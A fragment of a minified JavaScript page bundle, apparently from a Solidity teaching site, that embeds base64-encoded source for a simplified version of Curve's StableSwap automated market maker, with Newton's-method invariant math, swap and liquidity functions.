                    `,CA=({prev:s,next:a})=>i.jsx(u,{version:iA,title:hA,description:gA,html:IA,prev:s,next:a,codes:dA}),jA="0.8.20",uA="Stable Swap AMM",yA="Curve's stable swap AMM",mA=[{fileName:"StableSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkludmFyaWFudCAtIHByaWNlIG9mIHRyYWRlIGFuZCBhbW91bnQgb2YgbGlxdWlkaXR5IGFyZSBkZXRlcm1pbmVkIGJ5IHRoaXMgZXF1YXRpb24KCkFuXm4gc3VtKHhfaSkgKyBEID0gQURuXm4gKyBEXihuICsgMSkgLyAobl5uIHByb2QoeF9pKSkKClRvcGljcwowLiBOZXd0b24ncyBtZXRob2QgeF8obiArIDEpID0geF9uIC0gZih4X24pIC8gZicoeF9uKQoxLiBJbnZhcmlhbnQKMi4gU3dhcAogICAtIENhbGN1bGF0ZSBZCiAgIC0gQ2FsY3VsYXR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AKICAgICAgICBmJyhEKSA9IEFuXm4gKyAobiArIDEpIERebiAvIChuXm4gcHJvZCh4X2kpKSAtIDEKCiAgICAgICAgICAgICAgICAgICAgIChhcyArIG5wKURfbgogICAgICAgIERfKG4rMSkgPSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgICAgICAgICAgICAgICAoYSAtIDEpRF9uICsgKG4gKyAxKXAKCiAgICAgICAgYSA9IEFuXm4KICAgICAgICBzID0gc3VtKHhfaSkKICAgICAgICBwID0gKERfbileKG4gKyAxKSAvIChuXm4gcHJvZCh4X2kpKQogICAgICAgICovCiAgICAgICAgdWludCBhID0gQSAqIE47IC8vIEFuXm4KCiAgICAgICAgdWludCBzOyAvLyB4XzAgKyB4XzEgKyAuLi4gKyB4XyhuLTEpCiAgICAgICAgZm9yICh1aW50IGk7IGkgPCBOOyArK2kpIHsKICAgICAgICAgICAgcyArPSB4cFtpXTsKICAgICAgICB9CgogICAgICAgIC8vIE5ld3RvbidzIG1ldGhvZAogICAgICAgIC8vIEluaXRpYWwgZ3Vlc3MsIGQgPD0gcwogICAgICAgIHVpbnQgZCA9IHM7CiAgICAgICAgdWludCBkX3ByZXY7CiAgICAgICAgZm9yICh1aW50IGk7IGkgPCAyNTU7ICsraSkgewogICAgICAgICAgICAvLyBwID0gRF4obiArIDEpIC8gKG5ebiAqIHhfMCAqIC4uLiAqIHhfKG4tMSkpCiAgICAgICAgICAgIHVpbnQgcCA9IGQ7CiAgICAgICAgICAgIGZvciAodWludCBqOyBqIDwgTjsgKytqKSB7CiAgICAgICAgICAgICAgICBwID0gKHAgKiBkKSAvIChOICogeHBbal0pOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGRfcHJldiA9IGQ7CiAgICAgICAgICAgIGQgPSAoKGEgKiBzICsgTiAqIHApICogZCkgLyAoKGEgLSAxKSAqIGQgKyAoTiArIDEpICogcCk7CgogICAgICAgICAgICBpZiAoTWF0aC5hYnMoZCwgZF9wcmV2KSA8PSAxKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZDsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXZlcnQoIkQgZGlkbid0IGNvbnZlcmdlIik7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIENhbGN1bGF0ZSB0aGUgbmV3IGJhbGFuY2Ugb2YgdG9rZW4gaiBnaXZlbiB0aGUgbmV3IGJhbGFuY2Ugb2YgdG9rZW4gaQogICAgICogQHBhcmFtIGkgSW5kZXggb2YgdG9rZW4gaW4KICAgICAqIEBwYXJhbSBqIEluZGV4IG9mIHRva2VuIG91dAogICAgICogQHBhcmFtIHggTmV3IGJhbGFuY2Ugb2YgdG9rZW4gaQogICAgICogQHBhcmFtIHhwIEN1cnJlbnQgcHJlY2lzaW9uLWFkanVzdGVkIGJhbGFuY2VzCiAgICAgKi8KICAgIGZ1bmN0aW9uIF9nZXRZKAogICAgICAgIHVpbnQgaSwKICAgICAgICB1aW50IGosCiAgICAgICAgdWludCB4LAogICAgICAgIHVpbnRbTl0gbWVtb3J5IHhwCiAgICApIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgLyoKICAgICAgICBOZXd0b24ncyBtZXRob2QgdG8gY29tcHV0ZSB5CiAgICAgICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAgICAgICB5ID0geF9qCgogICAgICAgIGYoeSkgPSB5XjIgKyB5KGIgLSBEKSAtIGMKCiAgICAgICAgICAgICAgICAgICAgeV9uXjIgKyBjCiAgICAgICAgeV8obisxKSA9IC0tLS0tLS0tLS0tLS0tCiAgICAgICAgICAgICAgICAgICAyeV9uICsgYiAtIEQKCiAgICAgICAgd2hlcmUKICAgICAgICBzID0gc3VtKHhfayksIGsgIT0gagogICAgICAgIHAgPSBwcm9kKHhfayksIGsgIT0gagogICAgICAgIGIgPSBzICsgRCAvIChBbl5uKQogICAgICAgIGMgPSBEXihuICsgMSkgLyAobl5uICogcCAqIEFuXm4pCiAgICAgICAgKi8KICAgICAgICB1aW50IGEgPSBBICogTjsKICAgICAgICB1aW50IGQgPSBfZ2V0RCh4cCk7CiAgICAgICAgdWludCBzOwogICAgICAgIHVpbnQgYyA9IGQ7CgogICAgICAgIHVpbnQgX3g7CiAgICAgICAgZm9yICh1aW50IGs7IGsgPCBOOyArK2spIHsKICAgICAgICAgICAgaWYgKGsgPT0gaSkgewogICAgICAgICAgICAgICAgX3ggPSB4OwogICAgICAgICAgICB9IGVsc2UgaWYgKGsgPT0gaikgewogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBfeCA9IHhwW2tdOwogICAgICAgICAgICB9CgogICAgICAgICAgICBzICs9IF94OwogICAgICAgICAgICBjID0gKGMgKiBkKSAvIChOICogX3gpOwogICAgICAgIH0KICAgICAgICBjID0gKGMgKiBkKSAvIChOICogYSk7CiAgICAgICAgdWludCBiID0gcyArIGQgLyBhOwoKICAgICAgICAvLyBOZXd0b24ncyBtZXRob2QKICAgICAgICB1aW50IHlfcHJldjsKICAgICAgICAvLyBJbml0aWFsIGd1ZXNzLCB5IDw9IGQKICAgICAgICB1aW50IHkgPSBkOwogICAgICAgIGZvciAodWludCBfaTsgX2kgPCAyNTU7ICsrX2kpIHsKICAgICAgICAgICAgeV9wcmV2ID0geTsKICAgICAgICAgICAgeSA9ICh5ICogeSArIGMpIC8gKDIgKiB5ICsgYiAtIGQpOwogICAgICAgICAgICBpZiAoTWF0aC5hYnMoeSwgeV9wcmV2KSA8PSAxKSB7CiAgICAgICAgICAgICAgICByZXR1cm4geTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXZlcnQoInkgZGlkbid0IGNvbnZlcmdlIik7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIENhbGN1bGF0ZSB0aGUgbmV3IGJhbGFuY2Ugb2YgdG9rZW4gaSBnaXZlbiBwcmVjaXNpb24tYWRqdXN0ZWQKICAgICAqIGJhbGFuY2VzIHhwIGFuZCBsaXF1aWRpdHkgZAogICAgICogQGRldiBFcXVhdGlvbiBpcyBjYWxjdWxhdGUgeSBpcyBzYW1lIGFzIF9nZXRZCiAgICAgKiBAcGFyYW0gaSBJbmRleCBvZiB0b2tlbiB0byBjYWxjdWxhdGUgdGhlIG5ldyBiYWxhbmNlCiAgICAgKiBAcGFyYW0geHAgUHJlY2lzaW9uLWFkanVzdGVkIGJhbGFuY2VzCiAgICAgKiBAcGFyYW0gZCBMaXF1aWRpdHkgZAogICAgICogQHJldHVybiBOZXcgYmFsYW5jZSBvZiB0b2tlbiBpCiAgICAgKi8KICAgIGZ1bmN0aW9uIF9nZXRZRCh1aW50IGksIHVpbnRbTl0gbWVtb3J5IHhwLCB1aW50IGQpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgdWludCBhID0gQSAqIE47CiAgICAgICAgdWludCBzOwogICAgICAgIHVpbnQgYyA9IGQ7CgogICAgICAgIHVpbnQgX3g7CiAgICAgICAgZm9yICh1aW50IGs7IGsgPCBOOyArK2spIHsKICAgICAgICAgICAgaWYgKGsgIT0gaSkgewogICAgICAgICAgICAgICAgX3ggPSB4cFtrXTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CgogICAgICAgICAgICBzICs9IF94OwogICAgICAgICAgICBjID0gKGMgKiBkKSAvIChOICogX3gpOwogICAgICAgIH0KICAgICAgICBjID0gKGMgKiBkKSAvIChOICogYSk7CiAgICAgICAgdWludCBiID0gcyArIGQgLyBhOwoKICAgICAgICAvLyBOZXd0b24ncyBtZXRob2QKICAgICAgICB1aW50IHlfcHJldjsKICAgICAgICAvLyBJbml0aWFsIGd1ZXNzLCB5IDw9IGQKICAgICAgICB1aW50IHkgPSBkOwogICAgICAgIGZvciAodWludCBfaTsgX2kgPCAyNTU7ICsrX2kpIHsKICAgICAgICAgICAgeV9wcmV2ID0geTsKICAgICAgICAgICAgeSA9ICh5ICogeSArIGMpIC8gKDIgKiB5ICsgYiAtIGQpOwogICAgICAgICAgICBpZiAoTWF0aC5hYnMoeSwgeV9wcmV2KSA8PSAxKSB7CiAgICAgICAgICAgICAgICByZXR1cm4geTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXZlcnQoInkgZGlkbid0IGNvbnZlcmdlIik7CiAgICB9CgogICAgLy8gRXN0aW1hdGUgdmFsdWUgb2YgMSBzaGFyZQogICAgLy8gSG93IG1hbnkgdG9rZW5zIGlzIG9uZSBzaGFyZSB3b3J0aD8KICAgIGZ1bmN0aW9uIGdldFZpcnR1YWxQcmljZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHVpbnQgZCA9IF9nZXREKF94cCgpKTsKICAgICAgICB1aW50IF90b3RhbFN1cHBseSA9IHRvdGFsU3VwcGx5OwogICAgICAgIGlmIChfdG90YWxTdXBwbHkgPiAwKSB7CiAgICAgICAgICAgIHJldHVybiAoZCAqIDEwICoqIERFQ0lNQUxTKSAvIF90b3RhbFN1cHBseTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIDA7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIFN3YXAgZHggYW1vdW50IG9mIHRva2VuIGkgZm9yIHRva2VuIGoKICAgICAqIEBwYXJhbSBpIEluZGV4IG9mIHRva2VuIGluCiAgICAgKiBAcGFyYW0gaiBJbmRleCBvZiB0b2tlbiBvdXQKICAgICAqIEBwYXJhbSBkeCBUb2tlbiBpbiBhbW91bnQKICAgICAqIEBwYXJhbSBtaW5EeSBNaW5pbXVtIHRva2VuIG91dAogICAgICovCiAgICBmdW5jdGlvbiBzd2FwKHVpbnQgaSwgdWludCBqLCB1aW50IGR4LCB1aW50IG1pbkR5KSBleHRlcm5hbCByZXR1cm5zICh1aW50IGR5KSB7CiAgICAgICAgcmVxdWlyZShpICE9IGosICJpID0gaiIpOwoKICAgICAgICBJRVJDMjA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AgICAgIHVpbnRbTl0gbWVtb3J5IG9sZF94cyA9IF94cCgpOwogICAgICAgIGlmIChfdG90YWxTdXBwbHkgPiAwKSB7CiAgICAgICAgICAgIGQwID0gX2dldEQob2xkX3hzKTsKICAgICAgICB9CgogICAgICAgIC8vIFRyYW5zZmVyIHRva2VucyBpbgogICAgICAgIHVpbnRbTl0gbWVtb3J5IG5ld194czsKICAgICAgICBmb3IgKHVpbnQgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICB1aW50IGFtb3VudCA9IGFtb3VudHNbaV07CiAgICAgICAgICAgIGlmIChhbW91bnQgPiAwKSB7CiAgICAgICAgICAgICAgICBJRVJDMjAodG9rZW5zW2ldKS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50KTsKICAgICAgICAgICAgICAgIG5ld194c1tpXSA9IG9sZF94c1tpXSArIGFtb3VudCAqIG11bHRpcGxpZXJzW2ldOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgbmV3X3hzW2ldID0gb2xkX3hzW2ldOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyBDYWxjdWxhdGUgbmV3IGxpcXVpZGl0eSBkMQogICAgICAgIHVpbnQgZDEgPSBfZ2V0RChuZXdfeHMpOwogICAgICAgIHJlcXVpcmUoZDEgPiBkMCwgImxpcXVpZGl0eSBkaWRuJ3QgaW5jcmVhc2UiKTsKCiAgICAgICAgLy8gUmVjY2FsY3VhdGUgRCBhY2NvdW50aW5nIGZvciBmZWUgb24gaW1iYWxhbmNlCiAgICAgICAgdWludCBkMjsKICAgICAgICBpZiAoX3RvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBmb3IgKHVpbnQgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICAgICAgLy8gVE9ETzogd2h5IG9sZF94c1tpXSAqIGQxIC8gZDA/IHdoeSBub3QgZDEgLyBOPwogICAgICAgICAgICAgICAgdWludCBpZGVhbEJhbGFuY2UgPSAob2xkX3hzW2ldICogZDEpIC8gZDA7CiAgICAgICAgICAgICAgICB1aW50IGRpZmYgPSBNYXRoLmFicyhuZXdfeHNbaV0sIGlkZWFsQmFsYW5jZSk7CiAgICAgICAgICAgICAgICBuZXdfeHNbaV0gLT0gKExJUVVJRElUWV9GRUUgKiBkaWZmKSAvIEZFRV9ERU5PTUlOQVRPUjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZDIgPSBfZ2V0RChuZXdfeHMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGQyID0gZDE7CiAgICAgICAgfQoKICAgICAgICAvLyBVcGRhdGUgYmFsYW5jZXMKICAgICAgICBmb3IgKHVpbnQgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICBiYWxhbmNlc1tpXSArPSBhbW91bnRzW2ldOwogICAgICAgIH0KCiAgICAgICAgLy8gU2hhcmVzIHRvIG1pbnQgPSAoZDIgLSBkMCkgLyBkMCAqIHRvdGFsIHN1cHBseQogICAgICAgIC8vIGQxID49IGQyID49IGQwCiAgICAgICAgaWYgKF90b3RhbFN1cHBseSA+IDApIHsKICAgICAgICAgICAgc2hhcmVzID0gKChkMiAtIGQwKSAqIF90b3RhbFN1cHBseSkgLyBkMDsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBzaGFyZXMgPSBkMjsKICAgICAgICB9CiAgICAgICAgcmVxdWlyZShzaGFyZXMgPj0gbWluU2hhcmVzLCAic2hhcmVzIDwgbWluIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkoCiAgICAgICAgdWludCBzaGFyZXMsCiAgICAgICAgdWludFtOXSBjYWxsZGF0YSBtaW5BbW91bnRzT3V0CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnRbTl0gbWVtb3J5IGFtb3VudHNPdXQpIHsKICAgICAgICB1aW50IF90b3RhbFN1cHBseSA9IHRvdGFsU3VwcGx5OwoKICAgICAgICBmb3IgKHVpbnQgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICB1aW50IGFtb3VudE91dCA9IChiYWxhbmNlc1tpXSAqIHNoYXJlcykgLyBfdG90YWxTdXBwbHk7CiAgICAgICAgICAgIHJlcXVpcmUoYW1vdW50T3V0ID49IG1pbkFtb3VudHNPdXRbaV0sICJvdXQgPCBtaW4iKTsKCiAgICAgICAgICAgIGJhbGFuY2VzW2ldIC09IGFtb3VudE91dDsKICAgICAgICAgICAgYW1vdW50c091dFtpXSA9IGFtb3VudE91dDsKCiAgICAgICAgICAgIElFUkMyMCh0b2tlbnNbaV0pLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudE91dCk7CiAgICAgICAgfQoKICAgICAgICBfYnVybihtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgfQoKICAgIC8qKgogICAgICogQG5vdGljZSBDYWxjdWxhdGUgYW1vdW50IG9mIHRva2VuIGkgdG8gcmVjZWl2ZSBmb3Igc2hhcmVzCiAgICAgKiBAcGFyYW0gc2hhcmVzIFNoYXJlcyB0byBidXJuCiAgICAgKiBAcGFyYW0gaSBJbmRleCBvZiB0b2tlbiB0byB3aXRoZHJhdwogICAgICogQHJldHVybiBkeSBBbW91bnQgb2YgdG9rZW4gaSB0byByZWNlaXZlCiAgICAgKiAgICAgICAgIGZlZSBGZWUgZm9yIHdpdGhkcmF3LiBGZWUgYWxyZWFkeSBpbmNsdWRlZCBpbiBkeQogICAgICovCiAgICBmdW5jdGlvbiBfY2FsY1dpdGhkcmF3T25lVG9rZW4oCiAgICAgICAgdWludCBzaGFyZXMsCiAgICAgICAgdWludCBpCiAgICApIHByaXZhdGUgdmlldyByZXR1cm5zICh1aW50IGR5LCB1aW50IGZlZSkgewogICAgICAgIHVpbnQgX3RvdGFsU3VwcGx5ID0gdG90YWxTdXBwbHk7CiAgICAgICAgdWludFtOXSBtZW1vcnkgeHAgPSBfeHAoKTsKCiAgICAgICAgLy8gQ2FsY3VsYXRlIGQwIGFuZCBkMQogICAgICAgIHVpbnQgZDAgPSBfZ2V0RCh4cCk7CiAgICAgICAgdWludCBkMSA9IGQwIC0gKGQwICogc2hhcmVzKSAvIF90b3RhbFN1cHBseTsKCiAgICAgICAgLy8gQ2FsY3VsYXRlIHJlZHVjdGlvbiBpbiB5IGlmIEQgPSBkMQogICAgICAgIHVpbnQgeTAgPSBfZ2V0WUQoaSwgeHAsIGQxKTsKICAgICAgICAvLyBkMSA8PSBkMCBzbyB5IG11c3QgYmUgPD0geHBbaV0KICAgICAgICB1aW50IGR5MCA9ICh4cFtpXSAtIHkwKSAvIG11bHRpcGxpZXJzW2ldOwoKICAgICAgICAvLyBDYWxjdWxhdGUgaW1iYWxhbmNlIGZlZSwgdXBkYXRlIHhwIHdpdGggZmVlcwogICAgICAgIHVpbnQgZHg7CiAgICAgICAgZm9yICh1aW50IGo7IGogPCBOOyArK2opIHsKICAgICAgICAgICAgaWYgKGogPT0gaSkgewogICAgICAgICAgICAgICAgZHggPSAoeHBbal0gKiBkMSkgLyBkMCAtIHkwOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gZDEgLyBkMCA8PSAxCiAgICAgICAgICAgICAgICBkeCA9IHhwW2pdIC0gKHhwW2pdICogZDEpIC8gZDA7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgeHBbal0gLT0gKExJUVVJRElUWV9GRUUgKiBkeCkgLyBGRUVfREVOT01JTkFUT1I7CiAgICAgICAgfQoKICAgICAgICAvLyBSZWNhbGN1bGF0ZSB5IHdpdGggeHAgaW5jbHVkaW5nIGltYmFsYW5jZSBmZWVzCiAgICAgICAgdWludCB5MSA9IF9nZXRZRChpLCB4cCwgZDEpOwogICAgICAgIC8vIC0gMSB0byByb3VuZCBkb3duCiAgICAgICAgZHkgPSAoeHBbaV0gLSB5MSAtIDEpIC8gbXVsdGlwbGllcnNbaV07CiAgICAgICAgZmVlID0gZHkwIC0g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ybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludCBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludCBhbW91bnQpOwp9Cg=="}],AA=`

                    Simplified version of Curve's stable swap AMM

                    +`,yA=({prev:s,next:a})=>i.jsx(u,{version:dA,title:IA,description:CA,html:uA,prev:s,next:a,codes:jA}),mA="0.8.20",AA="Stable Swap AMM",bA="Curve's stable swap AMM",wA=[{fileName:"StableSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkludmFyaWFudCAtIHByaWNlIG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iBAcmV0dXJuIEQKICAgICAqLwogICAgZnVuY3Rpb24gX2dldEQodWludFtOXSBtZW1vcnkgeHApIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgLyoKICAgICAgICBOZXd0b24ncyBtZXRob2QgdG8gY29tcHV0ZSBECiAgICAgICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAgICAgICBmKEQpID0gQURuXm4gKyBEXihuICsgMSkgLyAobl5uIHByb2QoeF9pKSkgLSBBbl5uIHN1bSh4X2kpIC0gRCAKICAgICAgICBmJyhEKSA9IEFuXm4gKyAobiArIDEpIERebiAvIChuXm4gcHJvZCh4X2kpKSAtIDEKCiAgICAgICAgICAgICAgICAgICAgIChhcyArIG5wKURfbgogICAgICAgIERfKG4rMSkgPSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgICAgICAgICAgICAgICAoYSAtIDEpRF9uICsgKG4gKyAxKXAKCiAgICAgICAgYSA9IEFuXm4KICAgICAgICBzID0gc3VtKHhfaSkKICAgICAgICBwID0gKERfbileKG4gKyAxKSAvIChuXm4gcHJvZCh4X2kpKQogICAgICAgICovCiAgICAgICAgdWludCBhID0gQSAqIE47IC8vIEFuXm4KCiAgICAgICAgdWludCBzOyAvLyB4XzAgKyB4XzEgKyAuLi4gKyB4XyhuLTEpCiAgICAgICAgZm9yICh1aW50IGk7IGkgPCBOOyArK2kpIHsKICAgICAgICAgICAgcyArPSB4cFtpXTsKICAgICAgICB9CgogICAgICAgIC8vIE5ld3RvbidzIG1ldGhvZAogICAgICAgIC8vIEluaXRpYWwgZ3Vlc3MsIGQgPD0gcwogICAgICAgIHVpbnQgZCA9IHM7CiAgICAgICAgdWludCBkX3ByZXY7CiAgICAgICAgZm9yICh1aW50IGk7IGkgPCAyNTU7ICsraSkgewogICAgICAgICAgICAvLyBwID0gRF4obiArIDEpIC8gKG5ebiAqIHhfMCAqIC4uLiAqIHhfKG4tMSkpCiAgICAgICAgICAgIHVpbnQgcCA9IGQ7CiAgICAgICAgICAgIGZvciAodWludCBqOyBqIDwgTjsgKytqKSB7CiAgICAgICAgICAgICAgICBwID0gKHAgKiBkKSAvIChOICogeHBbal0pOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGRfcHJldiA9IGQ7CiAgICAgICAgICAgIGQgPSAoKGEgKiBzICsgTiAqIHApICogZCkgLyAoKGEgLSAxKSAqIGQgKyAoTiArIDEpICogcCk7CgogICAgICAgICAgICBpZiAoTWF0aC5hYnMoZCwgZF9wcmV2KSA8PSAxKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZDsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXZlcnQoIkQgZGlkbid0IGNvbnZlcmdlIik7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIENhbGN1bGF0ZSB0aGUgbmV3IGJhbGFuY2Ugb2YgdG9rZW4gaiBnaXZlbiB0aGUgbmV3IGJhbGFuY2Ugb2YgdG9rZW4gaQogICAgICogQHBhcmFtIGkgSW5kZXggb2YgdG9rZW4gaW4KICAgICAqIEBwYXJhbSBqIEluZGV4IG9mIHRva2VuIG91dAogICAgICogQHBhcmFtIHggTmV3IGJhbGFuY2Ugb2YgdG9rZW4gaQogICAgICogQHBhcmFtIHhwIEN1cnJlbnQgcHJlY2lzaW9uLWFkanVzdGVkIGJhbGFuY2VzCiAgICAgKi8KICAgIGZ1bmN0aW9uIF9nZXRZKAogICAgICAgIHVpbnQgaSwKICAgICAgICB1aW50IGosCiAgICAgICAgdWludCB4LAogICAgICAgIHVpbnRbTl0gbWVtb3J5IHhwCiAgICApIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgLyoKICAgICAgICBOZXd0b24ncyBtZXRob2QgdG8gY29tcHV0ZSB5CiAgICAgICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAgICAgICB5ID0geF9qCgogICAgICAgIGYoeSkgPSB5XjIgKyB5KGIgLSBEKSAtIGMKCiAgICAgICAgICAgICAgICAgICAgeV9uXjIgKyBjCiAgICAgICAgeV8obisxKSA9IC0tLS0tLS0tLS0tLS0tCiAgICAgICAgICAgICAgICAgICAyeV9uICsgYiAtIEQKCiAgICAgICAgd2hlcmUKICAgICAgICBzID0gc3VtKHhfayksIGsgIT0gagogICAgICAgIHAgPSBwcm9kKHhfayksIGsgIT0gagogICAgICAgIGIgPSBzICsgRCAvIChBbl5uKQogICAgICAgIGMgPSBEXihuICsgMSkgLyAobl5uICogcCAqIEFuXm4pCiAgICAgICAgKi8KICAgICAgICB1aW50IGEgPSBBICogTjsKICAgICAgICB1aW50IGQgPSBfZ2V0RCh4cCk7CiAgICAgICAgdWludCBzOwogICAgICAgIHVpbnQgYyA9IGQ7CgogICAgICAgIHVpbnQgX3g7CiAgICAgICAgZm9yICh1aW50IGs7IGsgPCBOOyArK2spIHsKICAgICAgICAgICAgaWYgKGsgPT0gaSkgewogICAgICAgICAgICAgICAgX3ggPSB4OwogICAgICAgICAgICB9IGVsc2UgaWYgKGsgPT0gaikgewogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBfeCA9IHhwW2tdOwogICAgICAgICAgICB9CgogICAgICAgICAgICBzICs9IF94OwogICAgICAgICAgICBjID0gKGMgKiBkKSAvIChOICogX3gpOwogICAgICAgIH0KICAgICAgICBjID0gKGMgKiBkKSAvIChOICogYSk7CiAgICAgICAgdWludCBiID0gcyArIGQgLyBhOwoKICAgICAgICAvLyBOZXd0b24ncyBtZXRob2QKICAgICAgICB1aW50IHlfcHJldjsKICAgICAgICAvLyBJbml0aWFsIGd1ZXNzLCB5IDw9IGQKICAgICAgICB1aW50IHkgPSBkOwogICAgICAgIGZvciAodWludCBfaTsgX2kgPCAyNTU7ICsrX2kpIHsKICAgICAgICAgICAgeV9wcmV2ID0geTsKICAgICAgICAgICAgeSA9ICh5ICogeSArIGMpIC8gKDIgKiB5ICsgYiAtIGQpOwogICAgICAgICAgICBpZiAoTWF0aC5hYnMoeSwgeV9wcmV2KSA8PSAxKSB7CiAgICAgICAgICAgICAgICByZXR1cm4geTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXZlcnQoInkgZGlkbid0IGNvbnZlcmdlIik7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIENhbGN1bGF0ZSB0aGUgbmV3IGJhbGFuY2Ugb2YgdG9rZW4gaSBnaXZlbiBwcmVjaXNpb24tYWRqdXN0ZWQKICAgICAqIGJhbGFuY2VzIHhwIGFuZCBsaXF1aWRpdHkgZAogICAgICogQGRldiBFcXVhdGlvbiBpcyBjYWxjdWxhdGUgeSBpcyBzYW1lIGFzIF9nZXRZCiAgICAgKiBAcGFyYW0gaSBJbmRleCBvZiB0b2tlbiB0byBjYWxjdWxhdGUgdGhlIG5ldyBiYWxhbmNlCiAgICAgKiBAcGFyYW0geHAgUHJlY2lzaW9uLWFkanVzdGVkIGJhbGFuY2VzCiAgICAgKiBAcGFyYW0gZCBMaXF1aWRpdHkgZAogICAgICogQHJldHVybiBOZXcgYmFsYW5jZSBvZiB0b2tlbiBpCiAgICAgKi8KICAgIGZ1bmN0aW9uIF9nZXRZRCh1aW50IGksIHVpbnRbTl0gbWVtb3J5IHhwLCB1aW50IGQpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgdWludCBhID0gQSAqIE47CiAgICAgICAgdWludCBzOwogICAgICAgIHVpbnQgYyA9IGQ7CgogICAgICAgIHVpbnQgX3g7CiAgICAgICAgZm9yICh1aW50IGs7IGsgPCBOOyArK2spIHsKICAgICAgICAgICAgaWYgKGsgIT0gaSkgewogICAgICAgICAgICAgICAgX3ggPSB4cFtrXTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CgogICAgICAgICAgICBzICs9IF94OwogICAgICAgICAgICBjID0gKGMgKiBkKSAvIChOICogX3gpOwogICAgICAgIH0KICAgICAgICBjID0gKGMgKiBkKSAvIChOICogYSk7CiAgICAgICAgdWludCBiID0gcyArIGQgLyBhOwoKICAgICAgICAvLyBOZXd0b24ncyBtZXRob2QKICAgICAgICB1aW50I